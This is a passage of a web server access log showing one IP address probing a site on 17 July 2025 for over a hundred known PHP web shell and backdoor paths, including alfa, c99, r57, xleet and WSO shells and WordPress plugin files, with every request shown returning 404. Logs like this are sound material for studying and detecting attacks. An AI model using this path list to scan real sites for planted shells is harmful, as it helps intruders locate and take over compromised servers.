HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:10 +0300] "GET /wp-db.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:10 +0300] "GET /wp-includes/lx.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:39:10 +0300] "GET /wp-content/ice.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:10 +0300] "GET /wp-content/lx.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:11 +0300] "GET /lx.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:11 +0300] "GET /tonant.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:11 +0300] "GET /f0x.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:39:11 +0300] "GET /config.bak.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:11 +0300] "GET /bypass403.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:39:11 +0300] "GET /adminer.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:11 +0300] "GET /allahnaber.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:11 +0300] "GET /AK-74.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:12 +0300] "GET /alfa3.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:12 +0300] "GET /alfaindex.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:12 +0300] "GET /alfa.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:12 +0300] "GET /c99.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:39:12 +0300] "GET /cmd.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:12 +0300] "GET /cw.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:12 +0300] "GET /date.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:12 +0300] "GET /haxor.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:39:13 +0300] "GET /icomsium.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:13 +0300] "GET /ico.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:39:13 +0300] "GET /leaf.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:13 +0300] "GET /marijuana.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:13 +0300] "GET /mass.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:13 +0300] "GET /mini.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:13 +0300] "GET /priv8.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:13 +0300] "GET /pws.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:14 +0300] "GET /r57.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:14 +0300] "GET /robots.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:14 +0300] "GET /snd.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:39:14 +0300] "GET /wp-class.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:14 +0300] "GET /new-index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:39:14 +0300] "GET /wp-content/batm.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:39:14 +0300] "GET /wp-content/masshp.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:39:14 +0300] "GET /wp-content/alfa.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:15 +0300] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:39:15 +0300] "GET /alfacgiapi/perl.alfa HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:15 +0300] "GET /ALFA_DATA/alfacgiapi/alfa.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:15 +0300] "GET /ALFA_DATA/alfacgiapi/c99.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:39:15 +0300] "GET /ALFA_DATA/alfacgiapi/fw.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:15 +0300] "GET /ALFA_DATA/alfacgiapi/mini.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:15 +0300] "GET /ALFA_DATA/alfacgiapi/r57.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:15 +0300] "GET /ALFA_DATA/alfacgiapi/uploader.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:15 +0300] "GET /ALFA_DATA/alfacgiapi/ups.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:16 +0300] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:16 +0300] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:39:16 +0300] "GET /wp-content/think.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:16 +0300] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:16 +0300] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:16 +0300] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:16 +0300] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:39:16 +0300] "GET /wp-content/plugins/html404/cry.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:17 +0300] "GET /wp-includes/css/F0x.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:17 +0300] "GET /wp-content/uploads/F0x.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:17 +0300] "GET /class-wp-widget-archives.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:17 +0300] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.42.181 - - [17/Jul/2025:16:39:17 +0300] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:39:17 +0300] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:17 +0300] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:17 +0300] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:18 +0300] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:39:18 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:18 +0300] "GET /xt/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:39:18 +0300] "GET /xleet-shell.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:18 +0300] "GET /xleet.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:39:18 +0300] "GET /xleetshell.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:39:18 +0300] "GET /wp-admin/includes/xleet-shell.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:18 +0300] "GET /wp-content/plugins/content-management/content.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:39:19 +0300] "GET /xlt.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:19 +0300] "GET /wp-content/plugins/xt/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:19 +0300] "GET /wp-content/xleet.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:19 +0300] "GET /wp-admin/xleet-shell.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:19 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:39:19 +0300] "GET /wp-content/plugins/core/include.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:19 +0300] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:19 +0300] "GET /nf_tracking.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:20 +0300] "GET /class.api.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:20 +0300] "GET /xl2023.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:39:20 +0300] "GET /wp-head.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:20 +0300] "GET /wp-pano.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:39:20 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:20 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:20 +0300] "GET /xmlrpc.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:20 +0300] "GET /wp-admin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:39:20 +0300] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:21 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:21 +0300] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:21 +0300] "GET /WSOEnigma.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:21 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:21 +0300] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:21 +0300] "GET /about/function.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:21 +0300] "GET /index/function.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:21 +0300] "GET /mah.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:22 +0300] "GET /mah/function.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:22 +0300] "GET /test.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:22 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:22 +0300] "GET /gebase.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:39:22 +0300] "GET /defaults.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:22 +0300] "GET /asasx.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:22 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:22 +0300] "GET /admin/function.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:23 +0300] "GET /contact.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:23 +0300] "GET /classwithtostring.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:39:23 +0300] "GET /goods.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:39:23 +0300] "GET /wp-add.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:23 +0300] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:23 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:39:23 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:39:23 +0300] "GET /403.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:24 +0300] "GET /alfa-rex.php7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:39:24 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:39:24 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:39:24 +0300] 